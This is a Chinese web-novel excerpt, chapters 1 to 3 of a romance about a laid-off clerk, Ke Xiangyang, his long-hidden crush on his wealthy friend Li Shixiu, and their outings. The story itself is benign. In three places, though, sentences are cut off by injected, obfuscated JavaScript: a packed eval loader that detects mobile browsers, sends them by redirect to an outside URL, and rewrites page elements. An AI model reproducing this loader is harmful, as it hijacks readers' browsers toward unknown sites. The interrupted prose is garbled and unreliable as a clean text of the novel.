《今天暗恋对象喜欢我了吗?》 1. 失业 清明过去,天气渐渐升温。 作为一个沿海的南方城市,鹤水市又开始进入一年中最令人讨厌的潮湿季节。 午休时间,办公室里只剩柯向阳一人,他正在准备下午会议要用的资料。 望着电脑屏幕上一个个跳出来的字,心里却在想着前几天路过茶水间时听到的八卦,他们公司好像要被收购了。 这是一家传统制造业公司,成立二十年,规模中等,但管理模式老旧,论资排辈严重,新人晋升空间小。 柯向阳大学毕业就到这家公司入职,干了快三年,还是一个小小的行政文员。 同期进来的同事早就各寻出路去了,比他晚来的职员也在去年年底递交辞呈,只有他还兢兢业业地坚守在这个有他没他都一样的岗位上。 当初朋友就劝过他,说这家公司毫无前景可言,迟早倒闭,可这是当时刚毕业的柯向阳收到的最好的一个offer,那时他还觉得自己运气不错呢。 现在看来,朋友的担心并不多余,公司虽然没有倒闭,被收购也不是什么好下场。 受到同事们人人自危的影响,柯向阳想自己是不是也该去看看别的工作,提前做个准备。 想法尚未付诸行动,没几天,公司被收购的确切通知就下达了,收购方是某互联网科技集团,为了拓展业务,收购了他们公司作为线下实体支撑。 新公司将引入最完善的数字化管理系统,因此被裁撤的大量冗余岗位中,行政岗首当其冲。 满满一页裁员名单上柯向阳赫然在列,他们部门除了经理,其他员工都被裁掉了。 办公室一度愁云惨淡。 好在有裁员补偿,柯向阳一边收拾自己工位上的东西,一边自我安慰,就当给自己放两个月假了,两个月内找到新工作应该不难。 他的东西不多,要交接的工作也不多,由此可见平时工作并不努力,走出公司大门,竟也没有多少留恋。 打开手机,各种软件通知里夹杂着一条□□消息,是沉寂已久的高中班群里在发公告,柯向阳点进去看了看,原来正在组织聚会。 这种活动在高中毕业第一年大家最积极,后来参加的人越来越少,也就没再组织过了。 柯向阳从来没参加过,如今刚丢了工作的他倒是有点想去看看有没有老同学能给个工作机会。 回到自己的出租屋,柯向阳又想起房子的租约快到期了。 当初贪便宜才会租到这个又偏又老的小区,原本想等租约到期再换个条件好点的房子,偏偏这个时候被裁员,不知道房东愿不愿意让他续租两个月。 平时这个点他都在工位上敲键盘,现在躺在床上无所事事还有点不习惯。 望向床头书桌上摆放的几个相框,一眼锁定到其中帅得最突出的那人,正是一直劝说他离职跳槽的朋友,也是他暗恋多年不敢告白的对象——厉时修。 都说职场失意,情场得意,可他的职场和情场从来没有得意过。 相识九年,暗恋八年,别说告白了,柯向阳甚至不敢让对方知道自己的性向,害怕连朋友都没得做。 不是没想过跟别人发展,读大学时追他的同性还不少,可“厉时修”这个名字牢牢占据他心头的位置雷打不动,坚不可摧,根本分不出一点多余的位置给别人。 被人告白时柯向阳一度担心自己身上的同性恋气息是不是太明显,生怕在厉时修面前露馅,哪怕对方远在英国多年,只是偶尔回国一趟。 身边唯一知情的朋友说他没救了,他也这么觉得。 可能只有亲眼看见厉时修跟别人携手步入结婚礼堂自己才会彻底死心吧。 一想到那个画面,柯向阳就觉得鼻子发酸,鸵鸟似的将头埋进枕头试图逃避现实。 房东一个电话把他拉回现实:“小柯啊,咱们这个租约快到期了,我房子准备卖了,就不续租了,你早点去看房啊。” “好的好的,我知道了,麻烦您了,谢谢啊。”柯向阳挂断电话,抱头崩溃,人生怎能如此悲催? * 房子的租约正好到四月底结束,比起找工作,现在找房子更紧急。 四月的天气总是伴随着绵绵细雨,柯向阳不讨厌下雨,但是讨厌在下雨的时候出门,因为不管多大的雨伞都避免不了裤脚被雨水打湿的下场。 柯向阳一回到家就换上睡衣,因为找房子而深感疲惫的身体陷入被窝,眼皮也随着屋外哗哗的雨声逐渐变重。 这几天他在中介的带领下看了好几套房,便宜的环境差,大多都是隔断房,环境好点的租金又太高,没有找到新工作根本没有底气负担那么高的房租。 毕业三年,他都换了三次房子了,可是在房价居高不下的鹤水市里,没有家庭托举,想要拥有一套属于自己的房产无异于痴人说梦。 柯向阳的父母在他年幼时就离婚各自组建家庭了,他被判给父亲,是跟着奶奶长大的。 奶奶很疼他,但老人家不识字,柯向阳只能靠自己努力学习,天真的小孩总以为自己成绩好点,父母就会多爱他一点。 那时候的他还不明白,自己只是一段失败婚姻的产物,是别人口中的拖油瓶,父母有了新的爱人新的孩子,不会再把注意力放在他这个多余的存在身上。 初中咬咬牙还能考个重点高中,到了高中身边全是尖子生,柯向阳跟不上大家的进度,成了年级吊车尾,老师多次想要联系家长说明情况,可他父母都不在身边,家里只有一个年迈的奶奶,班主任看向他的目光渐渐带上同情和惋惜。 柯向阳变得孤僻又自卑,不愿与人交流,总是独来独往,慢慢脱离了班级这个集体。 与厉时修相识是在高二分班之后,一开始柯向阳还以为能跟自己分到同一个班级的厉时修多半也是个学渣,在目睹了对方上课睡觉下课看漫画的行为后,更加坚定了自己的想法。 最重要的是厉时修也和他一样独来独往,这让柯向阳自心底生出一种莫名的亲近感。 直到柯向阳看他随手解开一道数学老师留给大家的奥数题,才知道人家跟自己完全不一样。 浓浓的自卑席卷而来,想要跟对方成为朋友的柯向阳再一次缩进自己的蜗牛壳里,不敢越雷池半步。 微信的语音通话铃声突兀响起,梦境被打断,柯向阳迷迷糊糊摸到手机,按下接通键。 厉时修带着怒气的声音立刻从听筒传了出来:“你在干什么?为什么不回消息?” 柯向阳顿时清醒,猛地从床上坐起,看到手机屏幕上熟悉的头像和备注,确认自己不是幻听,才心虚道:“刚刚睡着了。” 厉时修更生气了:“上班时间睡觉?你们公司的工作已经轻松到这种地步了吗?” “我、我请假了,在家呢。”柯向阳随口撒了个谎,下意识地不想告诉厉时修自己被炒鱿鱼的事。 “好好的请什么假,生病了?”厉时修的语气缓和了些。 柯向阳顺势回道:“是有点不舒服,睡一觉好多了,怎么突然给我打电话?” “还不是因为你不回消息!”厉时修怒道,随后才说出自己的目的:“我这周就回国了,你记得把时间空出来。” “啊?” “啊什么?不欢迎我?” 隔着手机柯向阳都能想象出厉时修此刻的表情,连连否认:“不是不是,怎么会不欢迎你呢?什么时候到啊?我去接你。” “到时候再跟你说,你继续休息吧。” 结束通话,柯向阳才看见许久没有过动静的置顶对话框里多了一条新消息:【我要回国了,什么时候有空?一起吃个饭。】 该说的话都在电话里说完了,柯向阳很想继续发消息,问问他这次回国准备待多久,都有什么安排。 对话框里的字删删改改,最后还是一个字都没发出去。 算算时间,厉时修出国已有七年,虽然每次回来都会跟他相聚,两人见面的次数依旧屈指可数。 柯向阳以为这份感情会在时间和距离的影响下渐渐变淡,没想到自己居然是个这么长情的人。 忍不住来回滑动聊天界面,反复回味跟厉时修为数不多的一点聊天记录,看着看着就开始抱着枕头在床上打起滚来,暗骂自己没出息。 * 厉时修回来的航班正好在周末,难得的好天气,连带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171822|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着柯向阳的心情也好了不少,看了眼自己的小电驴,还是选择坐班车去机场。 鹤水市是二线城市,只有一个机场,从他家附近的站点过去差不多四十分钟的车程。 柯向阳身穿白色薄卫衣,黑色休闲裤,脚上踩着双平板鞋,细碎的刘海搭在额前,老实站在接机口前,学生气十足。 下了飞机的乘客统一从通道出来,柯向阳一眼在人群中看到自己要接的人,忙举起手挥了挥。 厉时修拖着行李箱,面无表情的俊脸在看见柯向阳时明显柔和了两分。 跟着柯向阳来到出租车排队区,他的眉头又拧了起来:“你还没买车?” “买不起啊,而且也没必要,平时骑车就很方便了。”柯向阳不敢说自己连驾照都没考。 “早就让你换个工作了,工作三年连辆车都买不起。”厉时修恨铁不成钢地说道,“等会去我那开一辆走。” “不要了,我不喜欢开车,停车也不方便。”柯向阳将头摇得跟拨浪鼓似的。 厉时修一记眼刀甩过来:“你还住在那个破小区?我记得你租约快到期了,什么时候换房子?” “最近就在看房子,先别说了,车来了,快上车。”柯向阳殷勤地从他手里接过行李箱。 回到家放好行李已经是晚上八点,厉时修带着柯向阳到自家车库:“挑一辆吧,今天你开车,给你练练手。” 柯向阳:“……” 看着柯向阳一脸心虚的表情,厉时修眯了眯眼:“你不会没驾照吧?” 柯向阳挠挠头:“嘿嘿。” “嘿你个头啊,不是去年就报了驾校吗?还没拿到证?”厉时修的声音一下提高了八度。 “这不是没时间去学车嘛。”柯向阳小声道,去年年初报完名,他积极挂完科一的学时,就再也没联系过教练。 “你那个破工作闲得要死,还有双休,你跟我说没时间?!”厉时修简直要化身哥斯拉朝他喷射原子吐息了。 “我错了,我今年一定拿到证,我保证!”柯向阳自知理亏,积极认错。 厉时修骂骂咧咧地上了一辆suv,柯向阳忙跟着坐上副驾驶。 “自动挡的驾照,闭着眼睛都能过,你居然给我拖这么久。” “不想刷题,科一的题目太多了,我记不住。”反正都已经暴露了,柯向阳干脆破罐子破摔,一副死猪不怕开水烫的样子靠在椅背上。 “科一都是常识性问题,根本不需要记,你是不是在那个破公司上班上久了,脑袋褶皱都磨平了?” “……厉哥,你骂人越来越高级了。” “少跟我耍贫嘴。”厉时修冷冷道,“想吃什么?” “都行。” “牛肉火锅?” “可以。”牛肉火锅是柯向阳爱吃的,厉时修每次回来都会带他去吃一次。 这个时间店里的客人不多,厉时修坐在位置上点菜,柯向阳去调料台调酱料。 小米辣,炸蒜末,一勺腐乳汁,一勺耗油,再淋上点酱油和香油,撒上葱花,特制的火锅蘸料就调好了,他不吃香菜,连带着厉时修那份也不加了。 牛骨熬制的清汤锅底里自带牛腩和牛肉丸,素菜有玉米和白萝卜,还飘着几节大葱和红枣。 厉时修点了许多现切牛肉,他不吃内脏和海鲜,只为柯向阳点了一份虾滑。 菜上得很快,烧开的锅底咕噜咕噜冒着泡,饿坏了的柯向阳在漏勺里下了两盘肉,烫个七八秒,一人一筷子就分掉了。 “不是跟你说了没那么早到,你都不知道吃点东西垫垫肚子?”厉时修见他一副饿死鬼投胎的样子,忍不住数落。 “你不也没吃嘛,好兄弟就得有福同享有难同当。”柯向阳傻乎乎地笑道。 埋头吃了一会,柯向阳才想起来一个重要的问题:“厉哥,这次回国待多久啊?” 厉时修顺势接过他手里的漏勺接着烫牛肉,随口道:“不走了。” “真的?”柯向阳惊喜道。 “骗你干嘛?”厉时修的嘴角微不可见地向上勾起。 柯向阳兴奋得差点从座位上跳起来:“太好了!” 2. 租房 柯向阳高兴的心情没有持续多久。 吃完火锅厉时修问他想干嘛,他说了一句“随便”,结果竟直接被厉时修带回家刷题。 柯向阳第一次有了不想跟厉时修独处的念头。 “一直看我干嘛?我脸上有题啊?”面对柯向阳哀怨的目光,厉时修不为所动,非要逼着他将题库里的两千多道题全部刷一遍。 要不是他没满足教练所说的模拟考三次90分以上的条件,厉时修还想让他今晚就预约科一的考试。 柯向阳抱着手机侧躺在沙发上,只能看到厉时修茂密的后脑勺,心想他在英国待这么久都没变秃,看来他们家的基因还是挺强大的。 厉时修头也没回地说了句:“专心点。” 柯向阳:“……” 晚饭吃得太饱,这会一躺下就开始犯困,柯向阳强撑着眼皮刷题。 常识性的题目很简单,几乎不需要思考,等刷到扣分罚款的题目时,大脑已经是一团浆糊了。 做错的题会有解析,他看得眼皮打架,直到手机脱离掌控,摔在地上。 巨大的声响把柯向阳吓得一激灵,瞬间清醒了不少。 “一让你学习就犯困,这么多年一点长进都没有。”厉时修啧了一声,转头拿了一块毯子丢到柯向阳身上,“要睡就盖着,别着凉了。” 柯向阳看了眼时间,挣扎着起身:“太晚了,我还是回家吧。” 厉时修:“家里有人等你吗?” “没有啊。”柯向阳摇摇头。 “那你急着回去干嘛?今晚就在我这睡。” “哦。”柯向阳心中暗爽,之前也在厉时修家过过夜,这里还有他的睡衣和洗漱用品,“那我先去洗澡。” “嗯。”厉时修应了声,注意力重新回到电脑屏幕上。 柯向阳洗完澡出来,脸上还带着被热气熏出的红晕,一边擦着头发一边朝沙发走去,看到厉时修手里的手机,只觉有点眼熟,再看一眼,那不是他的手机吗? 注意到他的视线,厉时修面无表情地将手机递回给他:“刚刚有人给你打电话,我帮你接了。” “乔梦书吗?”除了那个家伙,柯向阳想不到还有谁会这么晚给自己打电话。 “嗯。” “他说什么了?” “他叫你别忘了明天的相亲。”厉时修轻飘飘地说道。 柯向阳:“!” “他还挺热心的。”厉时修的语气依旧听不出情绪。 柯向阳现在只想冲到乔梦书家里给他一个脑瓜崩。 “本来还想让你陪我去逛逛商场,没空就算了,你这个年纪也是该找女朋友了。”厉时修合上电脑,起身去了浴室。 柯向阳听到最后那句话一时愣在原地,要这么说的话,厉时修比他还大一点点,不会也有想找对象的念头了吧? 怀着复杂的心情走到阳台给乔梦书回电话。 “哟,这么快就洗完啦?霸王龙什么时候回来的?” 乔梦书就是那个唯一知道柯向阳暗恋厉时修的人,两人是大学舍友,明明性格差异极大,却意外成为了好朋友,就跟他和厉时修一样,不同的是乔梦书也是同性恋,跟父母出柜后已经被逐出家门三年了。 “今天刚回,你干嘛要跟他说我明天有相亲啊?”柯向阳咬牙切齿地质问。 “放心啦,我又没跟他说你的相亲对象是男人。”乔梦书呵呵笑道,语气欠扁。 柯向阳:“不是,我什么时候答应你要去相亲了?” “你对霸王龙还没死心呢?” “你别叫他霸王龙。”柯向阳抗议过无数次这个外号,每次都被无视。 “那他听到你要去相亲是什么态度?有没有吃醋?”乔梦书八卦地问。 “没有。”这也正是柯向阳觉得沮丧的地方,厉时修对他去相亲的事似乎毫不在意,甚至还鼓励他该找对象了,自嘲地笑了下,心想也是,哪有朋友会吃这种醋的。 乔梦书:“我还以为他在英国留学这么久,早就入乡随俗了。” 柯向阳无语:“入乡随俗不是这么用的吧?” “没差啦,他都没交女朋友,说不定真是个gay。” 柯向阳:“可他也没交过男朋友啊。” “那你还不死心?我跟你说,这次我给你找的可是个极品帅1,我对象的好兄弟,绝对不比霸王龙差,你先试试嘛。” “我现在没这个心思,而且这么做对人家也不负责。”柯向阳抠下一根仙人掌盆栽上的刺,又往茎上插,扎出好几个小洞。 乔梦书怒其不争道:“我就知道,霸王龙一回来,你马上屁颠屁颠地贴上去,之前每次说想放弃也都是在放屁,一点底线都没有。” 柯向阳:“……” “对了,你最近不是在找房子吗?齐朔那正好有套房子要出租,还可以顺便让他带你去看看房子。” “齐朔是谁?” “就是我要介绍给你的人啊,齐朔,21岁,在校大学生,身高186,体重145,八块腹肌,长18……” “行了别说了。”柯向阳及时出声制止,不想听到什么少儿不宜的内容。 “只是接触一下,交个朋友,又没让你马上跟人家谈恋爱,我给他看了你照片,他挺满意的,说不定能让你忘了霸王龙呢。” “你能不能别再叫他霸王龙了?” “不叫就不叫,我把时间地址发给你,你明天记得好好收拾一下自己,别给我丢脸。” “我真去不了,明天我还要参加同学聚会。”柯向阳突然想起高中班群里的聚会时间,正好也是明天,随手就拿来当借口了。 “同学聚会有什么好参加的,都是认识的人,你看看你这么多年,除了我和霸……厉时修都没别的朋友,你这样小心单身一辈子。” 柯向阳早就做好单身一辈子的打算了,反正他也不可能结婚生子。 “那我把他微信推给你,你自己跟他说吧。”乔梦书见他态度坚决,不再跟他废话,直接挂断电话。 柯向阳点开微信,看到他给自己发的名片,犹豫了会,还是选择添加,毕竟找房子真的很麻烦。 乔梦书又发来一张齐朔的照片,确实是个帅哥,看起来阳光开朗,和厉时修完全不同的类型。 齐朔很快便通过他的好友申请,还给他发了个打招呼的表情包。 柯向阳发了个自我介绍过去,正想着怎么开口问房子的事才不会显得自己目的性太强,齐朔已经主动提到了:【听乔哥说你最近在找房子,明天有空吗?我带你去看看。】 柯向阳:【周一可以吗?】 齐朔:【周一的话我得上课,不是很方便哦。】 【那明天上午十点可以吗?】上午看完,下午还可以陪厉时修去逛商场。 齐朔:【可以呀,就在明大西门对面的品香居前面见吧。】 柯向阳:【嗯嗯好的,麻烦你了。】 齐朔:【不麻烦,那到时候可以赏脸一起吃个午饭吗?】 【可以的,我请你。】柯向阳不好推辞,毕竟有求于人,自己也确实该请人家吃饭。 柯向阳用表情包结束了这次对话,一转身,洗完澡的厉时修悄无声息地站在他身后,吓得他差点把手机丢出去。 “你什么时候过来的?怎么都没声音。”柯向阳拍拍胸口,有些忐忑地看着他,担心被他听见“霸王龙”的外号。 “刚洗完,你又扎我的仙人掌?”厉时修穿着浴袍,头发还是湿的,正在用毛巾擦头发,看见柯向阳手里捏着的罪证,眉毛一下挑了起来。 柯向阳瞥见对方浴袍领口下若隐若现的肌肉,红着脸心虚地把刺扎进土里。 厉时修将毛巾挂在脖子上,双手抱胸,领口开得更大了:“明天什么时候出发?我送你。” “不用了,我很早就要出门,你在家多睡会。”柯向阳咽了咽口水,脑海里不合时宜地想起乔梦书刚刚的那些话,不知道厉时修现在还有没有八块腹肌,不过胸肌倒是依旧饱满。 “大早上的你们要去哪约会?”。 “啊,我不是去相亲,我要去看房子。” “那我更得去把把关了,省得你又租个破房子。”厉时修毫不留情地嘲讽。 “只是去看看,又不一定会租。”柯向阳嘟囔着,要是让厉时修跟着去,再好的房子都得变成破房子了,“你就在家等我嘛,下午我们一起去逛商场。” 听到这话,厉时修的脸色明显变好,轻哼一声,算是同意了。 “还困吗?不困就去刷题。” “困了困了,我要去睡觉了。” 柯向阳逃也似的跑向客房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171823|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果因为太久没睡客卧的床失眠了。 * 第二天一早,柯向阳顶着两个黑眼圈轻手轻脚地从客房出来,却见厉时修已经在客厅对着电脑敲敲打打了。 “厉哥,怎么起这么早?”柯向阳打了个呵欠。 “我又不是你,那么爱睡懒觉。”厉时修端起桌上的咖啡了一口,“赶紧洗漱完过来吃早饭。” 厉时修刚回来,家里什么都没有,早餐叫的外卖,灌汤包、油条、豆浆、白粥咸菜,品类丰富。 柯向阳吃完早餐已经九点半了,手忙脚乱地收拾起桌上的餐盒。 “放着我一会收,你赶紧走吧。”厉时修挥挥手。 “那我走了啊,午饭你自己解决一下,晚上再请你吃饭。”柯向阳换上自己的衣服,着急忙慌地往门外跑。 “真不要我送你?” “不要了,拜拜。” 厉时修的房子在市区的高档小区里,门口就有地铁站和公交站,出行很方便。 柯向阳选择坐地铁,到明大的西门差不多要十五分钟。 太久没来明大,感觉附近又多了很多新的店铺。 柯向阳四处张望着,不远处一道高大的身影朝他挥了挥手。 齐朔本人比照片上还要帅,笑起来脸上有两个小酒窝,极具亲和力,与厉时修那张生人勿近脸简直是两个极端。 “抱歉,我来晚了,你没等很久吧?”柯向阳有点不好意思。 “没有,是我早到了,还没十点呢。”齐朔扬了扬手机屏幕,上面的时间刚到九点五十五分。 “要看的房子在哪里?我们打车去吧?”柯向阳打开叫车软件,想着主动承担路费。 “不用,就在附近,走过去就好了。” “附近?那租金应该不便宜吧?太贵的我租不起哦。”柯向阳老实道,明大周遭算得上是鹤水市房价最高的几个区域之一了,哪是他能租得起的? “放心,不会很贵的,乔哥跟我说过你的预期价位,不合适我不会推荐的。”齐朔的声音也很好听,总给人一种如沐春风的感觉。 两人边走边聊,很快熟络起来。 说是附近,其实也走了将近二十分钟才到。 跟明大附近的老旧小区比起来,这个小区还算比较新,物业和保安配备齐全,这点就让柯向阳十分满意。 等看完房子,他更是彻底心动,房租正如齐朔所说,一点也不高,只是有点超出预算。 柯向阳现在住的房子是个单间,小区位置很一般,一个月还得一千五的房租,而这套一室一厅的房子租金是两千二一个月,真的很划算了。 “我还得考虑一下,不好意思啊。”柯向阳对房子挺满意的,就是没找到新工作,既不确定房子离以后工作的地方有多远,也不知道新工作的工资付完房租会不会让自己压力剧增。 “没关系,租房本来就得精打细算,什么时候考虑好跟我说一声就行。”齐朔理解道。 “你午饭想吃什么?” “去吃张记牛肉面吧,就在西门边上,味道还不错。” “只吃牛肉面吗?”柯向阳知道那家店,他在明大上学那会也爱吃,便宜大碗,但请人吃饭不该考虑实不实惠的问题。 “嗯,我就想吃牛肉面,吃完学长再请我喝杯奶茶吧。”齐朔笑道,他是明大的在读大学生,称呼柯向阳一声学长合情合理。 “行,请你喝两杯。”柯向阳猜对方应该知道自己失业的事,怪体贴的。 “那就谢谢学长了。” 和齐朔的相处是轻松且愉快的,对方很健谈,性格又好,还带着股未被社会打磨过的年轻朝气,在学校一定也有很多人追。 可惜,就是不来电。 乔梦书在电话里把他损得狗血淋头,顺嘴把厉时修贬得一文不值。 柯向阳嗯嗯啊啊地敷衍,独自坐在商场的休息凳上嘬着吸管。 用乔梦书的话说,他纯粹是在没苦硬吃,比苦守寒窑十八年的王宝钏还恋爱脑。 听到这,柯向阳忍不住笑出声,把乔梦书气得扬言再也不管他了,随后挂断电话。 柯向阳跟厉时修约好直接在明大附近的商场里见面,看见远处那双熟悉的大长腿径直朝自己走来,依旧忍不住心跳加速。 看吧,这才是心动的感觉。 3. 逛商场 厉时修的第一句话就是:“明天不是要上班?你还喝奶茶?” 柯向阳一喝奶茶就睡不着,比咖啡还管用。 “早点喝完不影响,到晚上就消化完了。”为了证明自己的话,柯向阳不得不一口气喝光大半杯奶茶,撑得直打嗝。 厉时修:“房子看得怎么样?” “还不错,就是有点贵。”柯向阳拿出手机,将自己拍的照片给厉时修看。 “多少钱?” “两千二一个月,包物业。” “这个地段已经很便宜了,房子没别的毛病吧?”厉时修仔细看了照片里的环境,确实比之前那套好得多,价位也合适。 “没有,家电都齐全,但每个月多花七百块还是会心痛的嘛。” “心痛的话就直接住我那,等你驾照考完,我的车随便你开,通勤不是问题。”厉时修再次发出邀请。 “等我真的没地方住了再说吧。”柯向阳内心挣扎,可以跟厉时修同居让他很心动,可又怕朝夕相处迟早有暴露情感的一天,想象到厉时修因为发现他的肮脏念头把他扫地出门的画面,柯向阳整个人都不好了。 “跟我一起住是什么很痛苦的事吗?你不愿意也不用露出这种表情吧?”厉时修咬着牙,举起拳头。 “不是,我只是一想到考驾照就觉得心烦。”柯向阳没有说谎,有厉时修盯着,他这驾照是非考不可了,没想到大学毕业这么久,还要为考试头疼。 “等你以后有什么紧急情况要用车了,就会为自己没考驾照而后悔了。”厉时修冷哼一声,放下拳头。 “我知道,我会抓紧考的,走吧走吧,逛街去。”柯向阳将手里的空杯子丢进垃圾桶,将话题扯开,“你要买什么?” “先看看。” 说是逛商场,厉时修的东西都有专人准备,根本不需要他亲自购买,逛了半天反倒一直在让柯向阳试衣服和鞋子。 “厉哥,我衣服够穿。” “你身上那套,五年前就在穿了。” “衣服又没坏,而且网上买更便宜。”柯向阳一直都是个低物欲的人,这也是他不够努力的重要原因。 厉时修:“你已经是工作三年的社会人士了,穿衣品味也该有所提升了。” 柯向阳:“我的工作配不上这么好的衣服。” “你也知道配不上啊?你得先提升自己,才能选择更好的工作,总是这么不思进取,难道要在那个破公司当一辈子的小职员吗?” 柯向阳倒是想,可惜已经没有这个机会了,当然,这话现在是万万不能说出来的。 厉时修给柯向阳买了两套日常服,还有一件风衣外套,都是适合最近天气穿的,直接换上就走了。 柯向阳手上拎着个漂亮的包装袋,上面印着他不认识的品牌logo,衣服标签还没来得及看就被剪掉了,小票也没要。 厉时修自小家境优渥,给柯向阳买东西从来是说一不二,不容拒绝。 以前两人在学校形影不离,没少因为家境差距被好事的同学蛐蛐,有人说厉时修脾气差,除了柯向阳那傻子没人受得了,也有人说柯向阳就是看厉时修家里有钱,死皮赖脸巴结人家,上赶着给厉时修当狗。 刚开始柯向阳也惶恐过,拒绝过,后来他就想开了,如果不是真心把自己当朋友,厉时修怎么可能给他花那么多钱?人家又不是冤大头。 诚如别人所说,厉时修脾气坏嘴巴毒,两个人经常会因为一些小事起争执,柯向阳永远说不过厉时修,他也会生气,跟厉时修冷战,然后在对方别扭地示好下冰释前嫌。 在外人看来,他们的关系似乎并不对等,但厉时修从来没有瞧不起柯向阳,他始终把柯向阳放在平等的位置上相处。 会喜欢上厉时修,简直是一件理所当然的事。 “想什么呢?笑得那么傻。”厉时修伸手敲了一下柯向阳的脑门。 柯向阳揉揉脑门,随口道:“想到好笑的事了。” “什么好笑的事?” “刚刚刷手机的时候看到的,说是有人上班受气,想去厕所哭一会,结果每间厕所都有屎,哈哈哈。” “神经啊,这有什么好笑的?不要说这么恶心的事啊!”厉时修无语,对于有洁癖的他来说,光是想想那个画面就觉得浑身难受。 “真的很好笑啊。”厉时修的反应让柯向阳笑得更加止不住。 “少在网上看这种没营养的东西,小脑都要萎缩了还好笑。”厉时修气道,十分后悔自己多嘴问那一句。 “知道了知道了,我好累啊,我们找个地方坐会吧。”柯向阳今天的步数早就超标,这会已经开始脚底泛疼了。 “让你多锻炼锻炼身体也不听,走两步就喊累,八十岁大爷都比你身强体壮。”厉时修一边数落他身体虚弱,一边带他到找了家甜品店。 柯向阳点了甜品和果汁,坐在靠玻璃墙的卡座上,惬意地刷着手机。 饮料喝多了的下场就是一直要往厕所跑,去完第三趟回来的时候,一个熟悉的声音叫住了他:“小柯!” “乔乔?”柯向阳惊讶地看着面前的好友,这也太巧了,再一抬眼,看到他身后跟着的两个大男人,顿时有些汗流浃背了。 与他们仅有一块玻璃之隔的厉时修正抬头看向他们。 “跟霸王龙约会呢?”乔梦书暧昧一笑。 “来买东西。”柯向阳已经放弃纠正乔梦书对厉时修的称呼了,“你们怎么在这?” 乔梦书身后的两个人,一个是他对象徐佑,一个是上午才见过的齐朔。 “我们也来买东西啊。”乔梦书指了指他们拎着的购物袋,徐佑和齐朔过几天有球赛,他来陪他们买球鞋。 一时间,小小的甜品店门口聚集了四个基佬。 “都站门口干嘛?进去啊。”乔梦书率先跟厉时修打了个招呼。 厉时修礼貌回应,他是见过乔梦书的,不过两人不熟。 柯向阳简单给他们相互介绍了下,只说齐朔和徐佑是明大的学弟。 现在身边的含gay量有点超标,柯向阳紧张得很,希望别被厉时修看出端倪。 好在乔梦书也只是个喜欢口嗨的基佬,平时出门在外还是挺正常的。 甜品店靠玻璃墙的位置是一整列的卡座,乔梦书他们就坐在柯向阳身后。 乔梦书下好订单,转身趴在座椅靠背上:“小柯。” “干嘛?” “打游戏不?刚好五个人,可以五排。” “排不了,你们段位太高了。”柯向阳游戏玩得少,只有极其无聊的时候才会上线打两把,厉时修也差不多,两人段位都不高。 “没事,我们有小号,正好带你上分。”乔梦书已经在登录游戏了。 柯向阳看了眼厉时修,见他没反对,便打开许久未曾上线的游戏,等待更新。 说是小号,乔梦书他们三的段位最低也是星耀,房间里只有柯向阳和厉时修是钻石。 厉时修主玩ad,柯向阳倒是什么位置都会一点,但都不精通,于是就选了个辅助跟着厉时修。 齐朔打野,徐佑对抗,乔梦书中路。 对他们来说,这种局简直就是炸鱼,一个小时连上四颗星,毫无难度,到后面都开始练英雄了。 “射手小心,全上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171824|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去抓你了。”乔梦书一边说一边在地图上点信号。 厉时修带着柯向阳躲在塔下猥琐发育。 但敌方铁了心要抓死射手,连对抗路都不远万里地赶过来,越塔强杀! “厉哥你快跑,我断后!”柯向阳把治疗、护盾、大招点了个遍,堪堪保下射手的命,自己却壮烈牺牲,正好抽空吃两口蛋糕。 队友的支援紧随其后,厉时修狂飙手速,和齐朔一起把对面五人反杀,给了敌方一个团灭。 乔梦书看热闹不嫌事大地打开聊天页面语音输入:“对面别欺负我们家辅助,射手和打野会教你们做人的。” “你干嘛?这不是在给我拉仇恨吗?”柯向阳不满道,他只是个手无缚鸡之力的飞飞公主啊! “别怕,我保护你。”齐朔笑道。 厉时修也来了句:“你别再往前冲了,跟在我后面。” 柯向阳面颊一热,哪有硬辅躲在射手身后的道理? 这局最后还是以他们的胜利结束,柯向阳看了眼手机电量,忙道:“不打了不打了,手机要没电了。” “借个充电宝呗。”乔梦书正在兴头上,哪能容他退出。 “充电宝充电还没掉电快,浪费钱,下次再玩。”柯向阳利落地退出房间。 乔梦书一打游戏就上头,这会又意犹未尽地回身趴在座椅上,凑到柯向阳脑袋边说:“你的厉哥技术不错,我们建个开黑群吧,下次要打游戏群里喊一声,多方便。” 柯向阳尚未发表看法,乔梦书已经把他拉进了刚建好的微信群里,一共四个人。 对上柯向阳询问的目光,厉时修点开微信:“拉我吧。” “让我看看改个什么群名好。”乔梦书想了想,随后笑得贼兮兮地发了个消息给柯向阳。 柯向阳点开一看,心中发出尖锐爆鸣,“四大天弯”是什么鬼名字啊! 